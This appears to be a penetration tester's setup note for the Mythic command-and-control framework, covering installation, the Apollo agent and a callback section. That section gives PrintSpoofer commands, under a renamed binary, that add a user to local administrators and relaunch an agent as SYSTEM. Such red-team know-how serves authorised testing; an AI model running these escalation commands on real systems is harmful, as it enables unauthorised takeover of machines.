v1.0

mythic

By
Brian Johnson

A cool C2 framework I'm excited to get more into in my own testing.

Quick install

Get dependencies:

sudo apt install -y make

Clone:

git clone https://github.com/its-a-feature/Mythic ~/Mythic
cd ~/Mythic

Docker + compose plugin:

DEBIAN_FRONTEND=noninteractive suppresses the debconf "Pending kernel upgrade"

prompt that otherwise stops the script and waits for .

sudo DEBIAN_FRONTEND=noninteractive ./install_docker_kali.sh # or install/docker_ubuntu.sh

Build:

sudo make

Set a known admin password BEFORE first start (optional):

# If you skip this, Mythic generates one you read back in step 8.
sudo ./mythic-cli config set MYTHIC_ADMIN_PASSWORD 'CanUBelieveItsNotButter?'

Install Apollo agent + http C2 profile

sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

Start the stack

sudo ./mythic-cli restart

Confirm creds

sudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORD
sudo ./mythic-cli status

Login to web interface

https://your.mythic.ip.address:7443

# username: mythic_admin
# password: the one you set earlier

Create basic payload

Coming soon

Working with callbacks

Run printspoofer to add a lowpriv user to the local admin group:

shell c:\users\localuser\downloads\notps.exe -c "cmd /c net localgroup administrators lowpriv /add"

Run printspoofer to fire your agent.exe again (this time with system privs):

shell c:\users\localuser\downloads\notps.exe -c "c:\users\localuser\downloads\mythicagent.exe"

Resources